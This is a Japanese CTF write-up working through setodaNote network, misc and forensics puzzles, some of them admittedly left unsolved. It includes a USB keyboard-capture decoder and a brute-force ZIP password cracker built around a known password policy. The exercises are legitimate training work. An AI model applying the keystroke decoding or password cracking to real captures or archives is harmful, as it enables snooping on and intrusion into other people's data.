$ vi decode_usb.py 以下のスクリプトを作成

#!/usr/bin/python
# coding: utf-8
from __future__ import print_function
import sys,os

#declare -A lcasekey
lcasekey = {}
#declare -A ucasekey
ucasekey = {}

#associate USB HID scan codes with keys
#ex: key 4  can be both "a" and "A", depending on if SHIFT is held down
lcasekey[4]="a";           ucasekey[4]="A"
lcasekey[5]="b";           ucasekey[5]="B"
lcasekey[6]="c";           ucasekey[6]="C"
lcasekey[7]="d";           ucasekey[7]="D"
lcasekey[8]="e";           ucasekey[8]="E"
lcasekey[9]="f";           ucasekey[9]="F"
lcasekey[10]="g";          ucasekey[10]="G"
lcasekey[11]="h";          ucasekey[11]="H"
lcasekey[12]="i";          ucasekey[12]="I"
lcasekey[13]="j";          ucasekey[13]="J"
lcasekey[14]="k";          ucasekey[14]="K"
lcasekey[15]="l";          ucasekey[15]="L"
lcasekey[16]="m";          ucasekey[16]="M"
lcasekey[17]="n";          ucasekey[17]="N"
lcasekey[18]="o";          ucasekey[18]="O"
lcasekey[19]="p";          ucasekey[19]="P"
lcasekey[20]="q";          ucasekey[20]="Q"
lcasekey[21]="r";          ucasekey[21]="R"
lcasekey[22]="s";          ucasekey[22]="S"
lcasekey[23]="t";          ucasekey[23]="T"
lcasekey[24]="u";          ucasekey[24]="U"
lcasekey[25]="v";          ucasekey[25]="V"
lcasekey[26]="w";          ucasekey[26]="W"
lcasekey[27]="x";          ucasekey[27]="X"
lcasekey[28]="y";          ucasekey[28]="Y"
lcasekey[29]="z";          ucasekey[29]="Z"
lcasekey[30]="1";          ucasekey[30]="!"
lcasekey[31]="2";          ucasekey[31]="@"
lcasekey[32]="3";          ucasekey[32]="#"
lcasekey[33]="4";          ucasekey[33]="$"
lcasekey[34]="5";          ucasekey[34]="%"
lcasekey[35]="6";          ucasekey[35]="^"
lcasekey[36]="7";          ucasekey[36]="&"
lcasekey[37]="8";          ucasekey[37]="*"
lcasekey[38]="9";          ucasekey[38]="("
lcasekey[39]="0";          ucasekey[39]=")"
lcasekey[40]="Enter";      ucasekey[40]="Enter"
lcasekey[41]="esc";        ucasekey[41]="esc"
lcasekey[42]="del";        ucasekey[42]="del"
lcasekey[43]="tab";        ucasekey[43]="tab"
lcasekey[44]="space";      ucasekey[44]="space"
lcasekey[45]="-";          ucasekey[45]="_"
lcasekey[46]="=";          ucasekey[46]="+"
lcasekey[47]="[";          ucasekey[47]="{"
lcasekey[48]="]";          ucasekey[48]="}"
lcasekey[49]="\\";         ucasekey[49]="|"
lcasekey[50]=" ";          ucasekey[50]=" "
lcasekey[51]=";";          ucasekey[51]=":"
lcasekey[52]="'";          ucasekey[52]="\""
lcasekey[53]="`";          ucasekey[53]="~"
lcasekey[54]=",";          ucasekey[54]="<"
lcasekey[55]=".";          ucasekey[55]=">"
lcasekey[56]="/";          ucasekey[56]="?"
lcasekey[57]="CapsLock";   ucasekey[57]="CapsLock"
lcasekey[79]="RightArrow"; ucasekey[79]="RightArrow"
lcasekey[80]="LeftArrow";  ucasekey[80]="LeftArrow"
lcasekey[84]="/";          ucasekey[84]="/"
lcasekey[85]="*";          ucasekey[85]="*"
lcasekey[86]="-";          ucasekey[86]="-"
lcasekey[87]="+";          ucasekey[87]="+"
lcasekey[88]="Enter";      ucasekey[88]="Enter"
lcasekey[89]="1";          ucasekey[89]="1"
lcasekey[90]="2";          ucasekey[90]="2"
lcasekey[91]="3";          ucasekey[91]="3"
lcasekey[92]="4";          ucasekey[92]="4"
lcasekey[93]="5";          ucasekey[93]="5"
lcasekey[94]="6";          ucasekey[94]="6"
lcasekey[95]="7";          ucasekey[95]="7"
lcasekey[96]="8";          ucasekey[96]="8"
lcasekey[97]="9";          ucasekey[97]="9"
lcasekey[98]="0";          ucasekey[98]="0"
lcasekey[99]=".";          ucasekey[99]="."

#make sure filename to open has been provided
if len(sys.argv) == 2:
    keycodes = open(sys.argv[1])
    for line in keycodes:
        #dump line to bytearray
        bytesArray = bytearray.fromhex(line.strip())
        #see if we have a key code
        val = int(bytesArray[2])
        if val > 3 and val < 100:
            #see if left shift or right shift was held down
            if bytesArray[0] == 0x02 or bytesArray[0] == 0x20 :
                print(ucasekey[int(bytesArray[2])], end=''),  #single line output
                #print(ucasekey[int(bytesArray[2])])            #newline output
            else:
                print(lcasekey[int(bytesArray[2])], end=''),  #single line output
                #print(lcasekey[int(bytesArray[2])])            #newline output
else:
    print("USAGE: python %s [filename]" % os.path.basename(__file__))

スクリプトを実行

$ python decode_usb.py
USAGE: python decode_usb.py [filename]

$ python decode_usb.py output_usb.txt
OnespacepopularspacebbutspaceunverifiedspaceexplanatindeloonspaceforspacethespaceQWERTYspacearrangementspaceisspacethatspaceitspacewwasspacedesignedspacetospacereducespacethespacelikelihoodspaceofspaceflag{xxxx}spaceinternalspaceclashhingspaceofspacetypebarddelsspacebyspaceplacingspacecommonlyspaceussedspacecombinatiioonsspaceofspacelettersspacefartherspacefroomspaceeachspaceoherspaceinsidespacethespacemachine.Enter

spaceを半角スペースに置換(適宜改行いれています)

One popular bbut unverified explanatindeloon for the QWERTY arrangement is
 that it wwas designed to reduce the likelihood of flag{xxxx}
 internal clashhing of typebarddels by placing commonly ussed combinatiioons of letters
 farther froom each oher inside the machine.Enter

日本語訳

QWERTY配列の一般的な説明としては、一般的に使用される文字の組み合わせを機械の中で
互いに離れた場所に配置することで、タイプバーデルの内部での フラグ{xxxx}
の衝突を減らすために設計されたというものがあるが、検証されていない。

tkys_not_enough

250

せっかく内偵中の後輩から通信データが送られてきたのに。
いわく決定的な証拠を掴んだとのことですが、普段とは異なる方法で取得したデータなのか解析ツールにうまく取り込めません。
後輩に聞こうにも通信データが送られた直後「やはり君だったか」という聞きなれない男の声を最後に
連絡が途絶えてしまっています。あなたは何とかしてこの通信データを解析しなければなりません。

添付されたファイルを解析し、フラグを入手してください。

Wiresharkで開けない
バイナリエディタでファイルの先頭を
D4 C3 B2 A1に書き換えたら開けたが、開くときにエラーあり
2パケットのみ見える状態

サクラエディタで開くと結構見える
VPNとかHTTPっぽい??
(解けていない)

(追記)
https://github.com/satoki/ctf_writeups/tree/master/setodaNote_CTF/tkys_not_enough
binwalkでいけるらしい(カテゴリーがNetworkなのに!? 別途正攻法があるのだろうか)

試したら以下の通りできてしまった・・・

$ binwalk -e tkys_not_enough.pcap

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
535234        0x82AC2         gzip compressed data, from Unix, NULL date (1970-01-01 00:00:00)
537545        0x833C9         gzip compressed data, from Unix, NULL date (1970-01-01 00:00:00)

$ cd _tkys_not_enough.pcap.extracted
$ ls
82AC2  833C9

$ cat 82AC2
I'm going to practice making origami cranes so that I can fold them for you some day, okay?


flag{netw0rk_shell_2000}


$ cat 833C9
Dreams are meaningful for when you work toward them in the real world.

setodaNoteCTF Writeup [Misc]

Misc

Welcome

Webのターミナルにログインしてフラグファイルをcatで見るだけ

$ cat welcome.txt 

  Welcome to the setodaNote CTF!!

  *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
  *                                 *
  *   flag{Enjoy_y0ur_time_here!}   *
  *                                 *
  *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*

morse_one

友人から「秘密のメッセージを送るね」とあるテキストファイルが送られてきました。
どうやらそのままでは読めないようです。添付されたファイルを解析し、秘密のメッセージを見つけ出してください。

フラグは得られた文字列を flag{} で囲んで答えてください。
フラグに英字が含まれている場合はすべて大文字で答えてください。
例えば得られた文字列が Flag の場合は flag{FLAG} となります。

問題タイトルより、モールス信号か
DDDBSDDSBDDDSDBDSBBBSDBBDSDBDDSDSBDDB

D dot
S silent
B bar
として、以下に変換してみた
..._ .. _... ._. ___ .__. ._.. . _.._

以下で変換 https://morsecode.world/international/translator.html
VIBROPLEX

最初、意味のない単語ができたので、外れかと思い、変換をいろいろ試行錯誤して時間を無駄にした
(モールス信号をカタカナに変換するサイトなどもある)
が、なんと、フラグはモールスキーのブランドだった・・・

Vibroplexは、1904年にニューヨーク市のHorace Greeley Martinが発明し、特許を取得した後、
VibroplexCompanyが1905年に最初に製造および販売したサイドツーサイドの機械式半自動モールスキーのブランドです。
ウィキペディア(英語)

Hash

ハッシュを求める問題

% shasum -a 256 * | grep aff02d6ad353ebf547f3b1f8ecd21efd7931e356f3930ab5ee502a391c5802d7
aff02d6ad353ebf547f3b1f8ecd21efd7931e356f3930ab5ee502a391c5802d7  pass024.txt
% shasum -a 256 * | grep 8428f87e4dbbf1e95dba566b2095d989f5068a5465ebce96dcdf0b487edb8ecb
8428f87e4dbbf1e95dba566b2095d989f5068a5465ebce96dcdf0b487edb8ecb  pass034.txt
% shasum -a 256 * | grep e82f6ff15ddc9d67fc28c4b2c575adf7252d6e829af55c2b7ac1615b304d8962
e82f6ff15ddc9d67fc28c4b2c575adf7252d6e829af55c2b7ac1615b304d8962  pass079.txt
% cat pass024.txt pass034.txt pass079.txt

F

難解言語Brainfuck

+++++++[->++++++++++>+++++++++++>+++++++++>++++++++++<<<<]>.>-.>++.>+.>++++++++[>++++<-]>.>+++++[->+++++++++++++++++++++>+++++++++++++++++++++++<<]>.>.>++++++++[>++++<-]>.>++++++++++[->++++++++++>++++++++++>++++++++++>++++++++++>++++++++++++<<<<<]>++.>++++++++.>---.>+++.>+++.>++++++++[>++++++++<-]>++++.>+++++++++++[>++++++++++>++++++++++<<-]>+.>.>++++[>++++++++++<-]>-.>+++[->+++++[->++++++++<]<]>>----.>++++++++++[->++++++++++>+++++++++>++++++++++++>++++++++++>+++++++++<<<<<]>-----.>-----.>-----.>+.>+++++.>++++++++++++++++++++[>++++++>+++++>+++++>+++++>+++>++<<<<<<-]>----.>++++.>+.>-----.>++++++++++.>+++++.>++++++++++[->+++++++++>+++++++++++>+++++++++++>++++++++++<<<<]>---.>+.>++++.>.>+++[->+++++++++++<]>..>+++++[->+++++[->+++++<]<]>>.

Brainfuck Language - Online Decoder, Translator, Interpreter https://www.dcode.fr/brainfuck-language

FLAG is

magic_number

flag is flag{[89 50 4e 47][52 61 72 21][ff d8 ff e0]}

ファイル種別を示すマジックナンバーでファイルを見分ける問題
.PNG
Rar!
JPEGファイル FF D8 FF E0

flag is

Stegano

うさみみハリケーンの「AoZoraSiroNeko.exe」にてステガノグラフィー解析を行う

以下にて画像に文字列が認識できた
「赤色 ビット4抽出」
flag{Re4l17y_

「XOR(すべてのビットを反転)」
1s_cReA73d_by

「青色 ビット4抽出」
_7h3_m1nd_rA9}

morse zero

友人から「マジの秘密のメッセージを送るね」とあるテキストファイルが送られてきました。
どうやらマジでそのままでは読めないようです。添付されたファイルを解析し、
マジの秘密のメッセージを見つけ出してください。

フラグは得られた文字列を flag{} で囲んで答えてください。
フラグに英字が含まれている場合はすべて大文字で答えてください。
例えば得られた文字列が Flag の場合は flag{FLAG} となります。

問題タイトルより、モールス信号と思われる
パット見で、Zだけだとおもいきや、バイナリエディタでみるといろいろ含まれている

E2 80 8C E2 80 8C E2 80 8B E2 80 8B 5A E2 80 8B  ............Z...
5A E2 80 8B E2 80 8C E2 80 8B 5A E2 80 8C E2 80  Z.........Z.....
8C E2 80 8C E2 80 8C E2 80 8C 5A E2 80 8B E2 80  ..........Z.....
8B E2 80 8C E2 80 8C E2 80 8B E2 80 8C 5A E2 80  .............Z..
8B E2 80 8C E2 80 8C 5A E2 80 8B E2 80 8C E2 80  .......Z........
8C E2 80 8C E2 80 8C 5A E2 80 8C E2 80 8B E2 80  .......Z........
8B 5A E2 80 8C 5A E2 80 8B E2 80 8B E2 80 8B E2  .Z...Z..........
80 8B 5A E2 80 8B E2 80 8B E2 80 8C E2 80 8C E2  ..Z.............
80 8B E2 80 8C 5A E2 80 8B E2 80 8B E2 80 8B 5A  .....Z.........Z
E2 80 8B E2 80 8C E2 80 8C E2 80 8B 5A E2 80 8B  ............Z...
E2 80 8C 5A E2 80 8C E2 80 8B E2 80 8C E2 80 8B  ...Z............
5A E2 80 8B                                      Z...            

値は5種類ある?

E2
80
8C
8B
5A

カタマリに注目すると、値は以下の3種類

E2 80 8C
E2 80 8B
5A

余計な文字を消す

E2 80 8C E2 80 8C E2 80 8B E2 80 8B 5A E2 80 8B 5A E2 80 8B E2 80 8C E2 80 8B 5A E2 80 8C E2 80 8C E2 80 8C E2 80 8C E2 80 8C 5A E2 80 8B E2 80 8B E2 80 8C E2 80 8C E2 80 8B E2 80 8C 5A E2 80 8B E2 80 8C E2 80 8C 5A E2 80 8B E2 80 8C E2 80 8C E2 80 8C E2 80 8C 5A E2 80 8C E2 80 8B E2 80 8B 5A E2 80 8C 5A E2 80 8B E2 80 8B E2 80 8B E2 80 8B 5A E2 80 8B E2 80 8B E2 80 8C E2 80 8C E2 80 8B E2 80 8C 5A E2 80 8B E2 80 8B E2 80 8B 5A E2 80 8B E2 80 8C E2 80 8C E2 80 8B 5A E2 80 8B E2 80 8C 5A E2 80 8C E2 80 8B E2 80 8C E2 80 8B 5A E2 80 8B
E2 80 8C→ドット
E2 80 8B→ハイフン
5A→スペース

..-- - -.- ..... --..-. -.. -.... .-- . ---- --..-. --- -..- -. .-.- -
サイバーシェフにて変換
TK5D6WEOXNT
→ハズレ

E2 80 8C→ハイフン
E2 80 8B→ドット
5A→スペース

--.. . .-. ----- ..--.- .-- .---- -.. - .... ..--.- ... .--. .- -.-. .
サイバーシェフにて変換
https://gchq.github.io/CyberChef/#recipe=From_Morse_Code('Space','Line%20feed')&input=LS0uLiAuIC4tLiAtLS0tLSAuLi0tLi0gLi0tIC4tLS0tIC0uLiAtIC4uLi4gLi4tLS4tIC4uLiAuLS0uIC4tIC0uLS4gLg
ZER0_W1DTH_SPACE

ransom_note

NPIEWI-DECRYPT.txtよりランサムウェアの名前がわかる

No More Ransom ProjectからGANDCRAB V5.0.3の暗号化解除ツールをダウンロードする
https://www.nomoreransom.org/ja/decryption-tools.html

対象フォルダを指定して、ツールを実行する
secret.txt.npiewiがsecret.txtとなったので開く

Nothing

空白とタブと改行(\n)でできたファイルが渡される

柿こけらエンコードと思ったが、違う?
以前似たようなのを解いた気がするが・・・

こんな記事も
https://news.mynavi.jp/article/20210207-1691845/ 分析した結果、ファイルの末尾にタブと空白で構成された見えないコードが用意されており、
そのコードによってマルウェアとして動作する仕組みになっていたとされている。

「space tab decode」でGoogle検索

Whitespace Language
https://www.dcode.fr/whitespace-language

上記にてデコードできた
FLAG is

i_knew_it

「このアセンブリ、見た瞬間あなただと分かりましたよ。」

ある暗号方式の名称がフラグになっています。添付ファイルからその暗号方式の名称を特定し、
フラグ形式で回答してください。

フラグに英字が含まれている場合は、すべて大文字で答えてください。
例えば This_is_FLAG が得られた場合は flag{THIS_IS_FLAG} となります。

アセンブラ読めないので、解けていなかったが、適当に暗号方式を入力したら当たってしまった)

Redacted

黒塗りされたPDFファイルが渡される

Microsoft WordでPDFを開くと、Word文書に変換してくれる
変換後、黒塗りをオブジェクトとして動かせるので、フラグが見える

strong_password

ZIPファイルのパスワードを解除する問題
パスワード生成規則は以下
7ZIPでファイルを見るとファイルの作成日時は20210713(関係なかった)

<パスワード設定規則>
・使用可能な文字種は以下とする
・英大文字 A~Z
・英小文字 a~z
・数字 0~9
・記号 6 種(@、#、$、%、!、-)
・パスワードの形式は以下とする
・[案件コード] + [記号1] + [年月日] + [記号2]
・パスワードの各要素は以下の規則に従い設定する (例:Abc#20200401$)
・案件コード:案件を示す英字 3 文字。大文字小文字は任意。
・年月日:年月日を表す数字 8 桁(利用日に合わせ都度変更すること)。
・記号1:記号 1 字を入れる。
・記号2:記号 1 字を入れる。

以下のようなプログラムで解凍を試みたが、時間がかかりすぎる
アルファベットがすべて同じaaaからZZZまでに限定するとだいぶ速いが、
20200401から20210731まで総当たりしたが、こちらもダメ

総当たりの場合、一台のマシン(1CPU)では、一晩で一か月分ちょっと程度
複数のマシンで日付を分割して試したところ、運よく24時間程度(?)で解凍できた

# extract password zip
import zipfile
import string
import sys

filenameOut = "/home/user/passZIP_test"

kigou = ['@','#','$','%','!','-']

# アルファベットのaからZまでがつながった
# 「abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ」
# という52文字の文字列が取得できます。
aZ1 = []
for i in string.ascii_letters:
  #print(i)
  aZ1.append(i)

yyyy = 2021
print ("{}年".format(yyyy))

filenameIn = "./TopSecret.zip"
#filenameIn = "./dummy.zip"

for mm in range(1,8): # monty
  print("{}月".format(mm))
  sys.stdout.flush() # 明示的にflush nohupで都度ログが出るように
  for dd in range(1,32): # day
    print("{}日".format(dd))
    sys.stdout.flush() # 明示的にflush nohupで都度ログが出るように
    for i in range(52):
      for j in range(52):
        for k in range(52):
          for l in range(6):
            for m in range(6):
              passStr = "{}{}{}{}{}{:02}{:02}{}".format(aZ1[i], aZ1[j], aZ1[k], kigou[l], yyyy,  mm, dd, kigou[m])
              #print (passStr)
              try:
                with zipfile.ZipFile(filenameIn) as pass_zip:
                  pass_zip.extractall(filenameOut, pwd=passStr.encode("utf-8"))

              except Exception as e:
                pass
                #print(e)
              else:
                print('finish (zip extracted)')
                quit()

2021年2月28日が正解だった
(なぜかはわからない。多分ヒントはなかった)

正解はqYL%20210228!であり、思ったより複雑なパスワードだったが、
生成規則とマシンパワーがあれば解凍できてしまうことがわかった

$ cat TopSecret.txt
このパスワードが安全なはずがない。

flag{xxxxx}

setodaNoteCTF Writeup [Forensics]

Forensics

paint_flag

Wordファイルが渡される
Microsoft Office’s docx files are actually ___ files.がヒント

ZIPファイルを解凍できるソフトで、Wordファイルを解凍する

解凍すると、以下フォルダに画像が入っている
「paint_flag\word\media」

Mail

50

あなたはメールデータの調査を依頼されました。
組織内の要員が規定に反して組織内のデータを個人利用のクラウドサービスにバックアップとして
コピーしていたもののようです。メールデータに機密情報が含まれていないか、調査してください。

添付されたファイルを解析し、フラグを得てください。

「Sent-1」をテキストエディタで開く
下のほうに大量の文字がある
filename="kimitsu.zip"の下の文字列をコピーする

サイバーシェフでBase64デコードする
https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true)

以下のような表示なので、ZIPファイルであっていそう
PK........B(略)

サイバーシェフの画面にある、「Save Output to File」ボタンを押す
ダウンロードされたファイルを解凍すると、フラグが書いてある画像が出てきた

Deletedfile

ディスクイメージが渡される。
削除したファイルを復元したいとのこと。

photorecを使うと、削除フラグが立てられたファイルを
出来る限り復元してくれるようなので試してみる。

$ sudo apt install testdisk
$ photorec deletedfile.raw

画面に従って復元する。
3ファイルが復元された。

フラグは「f0000076.jpg」にあった。

別解
https://www.autopsy.com/download/
Windows GUIの上位ソフトでも削除されたファイルを取り出せる
但し、VERSION 4.19.1 FOR WINDOWSは動かず(Case作成に失敗する) 4.11.0は利用できた

Timeline

100

君はタイムラインを知っているかね。ベンチに腰かけた老紳士がこちらに向かって話しかけてきます。
あまり使われてはいないようだがね。老紳士はそう話を続けながら正面に向き直りため息をつきます。
だが、完全に消えてしまう前にどんなアーティファクトであったか確かめてみてもいいとは思わんかね。
そういって老紳士は1枚のディスクを私に手渡すと、静かに去っていきました。
どうやらディスクを解析する必要があるようです。

添付のファイルを解析し、フラグを入手してください。

https://blog.group-ib.com/windows10_timeline_for_forensics

最も簡単な方法は、SQLiteビューア(無料のツールであるDB Browser for SQLiteなど)を使用して ActivitiesCache.dbに含まれるデータを確認することです。 開いてみたが、ダミーフラグしか見つからず
(ここまで) (解けていない)

(追記)
https://y0m0g1.hatenablog.com/entry/20210904/1630759171
ActivityテーブルのAppActivityIdカラムをnotepadでフィルタして、ファイル名を縦に読むとフラグがあった

ECB32AF3-1440-4086-94E3-5311F97F89C4\E:\AppData\f.txt
ECB32AF3-1440-4086-94E3-5311F97F89C4\E:\AppData\l.txt
ECB32AF3-1440-4086-94E3-5311F97F89C4\E:\AppData\a.txt
ECB32AF3-1440-4086-94E3-5311F97F89C4\E:\AppData\g.txt
ECB32AF3-1440-4086-94E3-5311F97F89C4\E:\AppData\{.txt
ECB32AF3-1440-4086-94E3-5311F97F89C4\E:\AppData\T.txt
ECB32AF3-1440-4086-94E3-5311F97F89C4\E:\AppData\h.txt
:

browser_db

以下ツールの「parser\browsinghistoryview-x64」内にある
「BrowsingHistoryView.exe」で確認する
https://github.com/CyberDefenseInstitute/CDIR-A

使い方
起動時に表示されるAdvanced Options画面の
Load History FromLoad history files from the specified history filesを選択
...ボタンを押し、Firefox欄にファイルパスを入力
例)C:\Users\~\stella_9s84jetw.default-release_places.sqlite

Filter by visit date/timeLoad history items from any timeを選択
OKボタンを押す

ブラウザ履歴が表示されるので確認
Titleにフラグがある

MFT

C_$MFTが渡され、日時とファイルサイズからファイル名を特定する

極秘情報のダウンロードされた日時が 2021-07-18 18:30頃 であることと、
ファイルサイズが 465030 であることのみが伝えられています。

添付ファイルを解析し、極秘情報のファイル名を特定してください。
例えばファイル名が file.txt の場合は flag{file.txt} と回答してください。

以下ツールの「mft.exe」で変換して確認する
https://github.com/CyberDefenseInstitute/CDIR-A

使い方

コマンドプロンプト上で以下の形式で実行します。

> プログラム -o 出力フォルダ 入力ファイルもしくは入力フォルダ
入力ファイルは解析したいファイル
>mft.exe -o output C_$MFT
input: C_$MFT
output: output\C_$MFT_output.csv

ファイルサイズから、該当は以下のみ

"."  "kimitsu.zip"   "C:\Users\stella\Downloads" "101525"    "File(Deleted)" "465030"    "2021/07/19 03:35:21.555"   "2021/07/18 20:34:14.857"   "2021/07/19 05:24:31.359"   "2021/07/19 05:24:31.343"   "2021/07/19 03:35:21.555"   "2021/07/18 20:34:14.857"   "2021/07/19 03:35:21.608"   "2021/07/19 03:35:21.593"   "+09:00"    "0" "1674"  ""

tkys_another_day

100

無事でいてくれているだろうか。あなたは後輩の端末に残されていたある画像ファイルが気になっています。
作成された日付は音信不通となる前日。ファイルは作りかけなのか、断片的な情報しか表示されません。
もしかすると後輩の消息についての重要な手がかりが隠されているのではないか。
あなたはファイルを詳しく解析することにしました。

添付されたファイルを解析し、フラグを入手してください。

PNGファイルが渡される。
APNG(アニメーションPNG)と思われる。

Windowsなら以下ソフトで各レイヤーを表示可能

FireAlpaca
https://forest.watch.impress.co.jp/library/software/firealpaca/

MACだと標準ビュアーで見えてしまっていた
(ので何かもっと仕掛けがあると思って探してしまった)

TITLE

120

仕事を終えて帰宅の途につくあなた。人通りの少ない住宅街を通り過ぎ、
自宅のマンションにたどり着きます。
ちょうど部屋のドアの前に立った時に手に持っていた携帯が鳴りメールを受信したことを伝えます。

件名:これが最後の警告だ
そのメールには画像が添付されていました。

添付されたファイルを解析し、フラグを得てください。

画像の右下に四角い模様のような何かがある
8*3行ある
8bit?

11101100
00100101
10001110

ec 25 8e

ì%.

00010011
11011010
01110001

13 da 71

.Úq

RGB?
lo3rs1tkd.jpg

ファイル名はシュタインズゲート第11話のネタっぽい
問題タイトルがTITLEなので関係あるのだろうか
lo3rs1tkd.jpg

(解けていない)

(追記) 画像の下のほうに見えていない領域がある

以下を参考に画像サイズ(height)を含む場所を探す
https://blog.mirakui.com/entry/2012/09/17/121109
SOF0 0xffc0 基本DCT方式のフレーム開始
→画像サイズ(height)はffc0の後ろにある
今回の例では
「FF C0 00 11 08 HH HH (HHがHeight)」

JPEGファイルをバイナリエディタ(010 Editor)で開き、
struct SOFx sof0(マーカーFFC0)
WORD Y_imageを1024にする(マーカーFFC0の後ろ4、5バイト目)
(A3hから2バイトを「04 00」にする)

f:id:sPENGIN:20210906170800p:plain →(訂正)1024ではなく、1282ぐらいにしないと全部見えないです

画像をビュワーで見ると下のほうに見えなかった領域が見えるようになる
QRコードのようなものが見えるが、そのままでは読み取れないので、もう一工夫必要?

f:id:sPENGIN:20210906171713j:plain →上記はheightを1400にしたもの。大きくしすぎても意外と表示できる。

(追記2) strong qr decoderで戻せるらしい
https://github.com/waidotto/strong-qr-decoder
QRコードの入力が画像でなく、テキスト(#)なので、手動ではつらい

https://qiita.com/kusano_k/items/e0024db9fe9802121bbb
上記の通り、プログラムを組むと楽にできる

from PIL import Image

im = Image.open("lo3rs1tkd3.png")

for x in range(29):
  l = ""
  for y in range(26):
    if im.getpixel((975+10*x, 965+10*y))[0]<128:
      l += "#"
    else:
      l += " "
  print(l)

strong-qr-decoderをダウンロード

$ git clone https://github.com/waidotto/strong-qr-decoder

QR(画像)からテキストに変換

$ python3 read_img_qr.py lo3rs1tkd3.png > output_qr.txt
$ mv output_qr.txt strong-qr-decoder/
$ cd strong-qr-decoder/

python3だと動かない

$ python3 sqrd.py output_qr.txt
  File "sqrd.py", line 246
    print ''
           ^
SyntaxError: Missing parentheses in call to 'print'. Did you mean print('')?

Python 2.7.17にて実行
(エラー訂正レベル、マスクパターンをforループで回し、総当たり)

  -e ERROR_CORRECTION, --error-correction ERROR_CORRECTION
                        エラー訂正レベル(1:L 0:M 3:Q 2:H)
  -m MASK, --mask MASK  マスクパターン(0〜7)
$ for e in $(seq 0 3); do for m in $(seq 0 7); do python2 sqrd.py -e $e -m $m output_qr.txt; done; done
Traceback (most recent call last):
  File "sqrd.py", line 1024, in <module>
    num = int(data_bits[:10], 2)
ValueError: invalid literal for int() with base 2: ''
flag{Y0u_h4ve_w1tnessed_t00_much}
:
(大量に出るが、途中にフラグが出る)

CSIRT_asks_you_01

Windowsのイベントログを見る問題

ネットワーク経由のログインが成功したことを示している最初の記録日時(TimeCreated SystemTime)
と Event ID を特定することです。

フラグは UTC での記録日時 を yyyy/mm/dd_hh:mm:ss 形式にし、最後に Event ID をアンダースコアで
つなげた形で答えてください。
例えば 記録日時 が 2020/01/10 7:05:13.9234567Z 、Event ID が 1234 の場合は
flag{2020/01/10_07:05:13_1234} となります。記録日時は UTC+0 で回答することに注意してください。

以下をダウンロード
Introducing: Log Parser Studio
https://techcommunity.microsoft.com/t5/exchange-team-blog/introducing-log-parser-studio/ba-p/601131

https://techcommunity.microsoft.com/gxcuf89792/attachments/gxcuf89792/Exchange/16744/1/LPSV2.D2.zip

Log Parser 2.2 日本語版
https://www.microsoft.com/ja-jp/download/details.aspx?id=24659

Log Parser Studioに以下ファイルのXMLをインポート
https://github.com/CyberDefenseInstitute/CDIR-A/blob/master/parser/lpslib/LPSLibrary_CDI.XML

Log Parser Studioにて「【認証】ネットワークログオン」にて検索

出てきたうち、以下が一番早いアクセス日時

ソースIP
10.1.2.105

ワークステーション名
DESKTOP-05C7F53
    
日時
2021/07/18 6:50:40

UTC
flag{2021/07/17_21:50:40_4624}
→ハズレ

次に怪しいアクセス

ソースIP
192.168.224.120

ワークステーション名
lizardface
    
日時
2021/07/19 5:09:21

UTC

→なぜこれが正解か不明 ワークステーション名なのか、ソースIPなのか

参考
【認証】ネットワークログオンの検索クエリ(EventIDは4624)

SELECT 
 TimeGenerated AS 日時,
 ComputerName AS コンピュータ名,
 EventLog AS ファイル名,
/* EXTRACT_TOKEN(Strings,0,'|') AS 元SID,
 EXTRACT_TOKEN(Strings,1,'|') AS 元ユーザ,
 EXTRACT_TOKEN(Strings,2,'|') AS 元ドメイン,
 EXTRACT_TOKEN(Strings,3,'|') AS 元ログオンID,*/
 EXTRACT_TOKEN(Strings,4,'|') AS SID,
 EXTRACT_TOKEN(Strings,5,'|') AS ユーザ,
 EXTRACT_TOKEN(Strings,6,'|') AS ドメイン,
 EXTRACT_TOKEN(Strings,7,'|') AS ログオンID,
 EXTRACT_TOKEN(Strings,9,'|') AS ログオンプロセス,
 EXTRACT_TOKEN(Strings,10,'|') AS 認証パッケージ,
 EXTRACT_TOKEN(Strings,11,'|') AS ワークステーション名,
 EXTRACT_TOKEN(Strings,12,'|') AS ログオンGUID,
 EXTRACT_TOKEN(Strings,16,'|') AS プロセスID,
 EXTRACT_TOKEN(Strings,17,'|') AS プロセス名,
 EXTRACT_TOKEN(Strings,18,'|') AS ソースIP
FROM
 '[LOGFILEPATH]'
WHERE
 SourceName = 'Microsoft-Windows-Security-Auditing' AND
 EventID = 4624 AND
 EXTRACT_TOKEN(Strings,8,'|') = '3' AND
 ユーザ <> 'ANONYMOUS LOGON' AND
 ソースIP <> '-' AND
 ソースIP <> '::1'

unallocated_space

150

「こりゃ今夜は帰れそうにないな」同僚がそう言いながらハードディスクやUSBメモリが大量に詰まった箱を
どさっとデスクに置きます。
すべてある組織で使用されていたもので本来は破壊処理されるはずが、
不正に利益を得ようとした人物が仲介したことにより、破壊処理されずに中古市場に
出回ってしまったもののようです。
今日が記念日だという同僚を早く帰すため、あなたはディスクの解析調査を手伝うことにしました。
復元可能なデータがないか確認してください。

添付されたファイルを解析し、フラグを入手してください。

何のファイルか確認

$ file unallocated_space
unallocated_space: DOS/MBR boot sector MS-MBR Windows 7 english at offset 0x163 "Invalid partition table" at offset 0x17b "Error loading operating system" at offset 0x19a "Missing operating system", disk signature 0x23303fcc
$ fdisk -lu unallocated_space
Disk unallocated_space: 30 MiB, 31457280 bytes, 61440 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x23303fcc
$ foremost unallocated_space
→0 FILES EXTRACTED

(解けていない)

(追記)
https://y0m0g1.hatenablog.com/entry/20210904/1630759171
うさみみハリケーンの青い空を見上げればいつもそこに白い猫(AoZoraSiroNeko.exe)
でファイル抽出できる(ペイントでフラグファイルを作るmp4動画)

※AoZoraSiroNeko.exeでの操作
ファイル・データ抽出→検索実行→リスト選択項目を保存

CSIRT_asks_you_02

200

組織内のインシデント対応部署から引き続き急ぎ解析してほしいとの依頼を受けています。

一つ目の解析依頼(CSIRT_asks_you_01)の結果と別の証拠などから、
あるアカウントのパスワードが脆弱である可能性が示唆されています。
添付されたファイルを解析し、そのパスワードを特定してください。

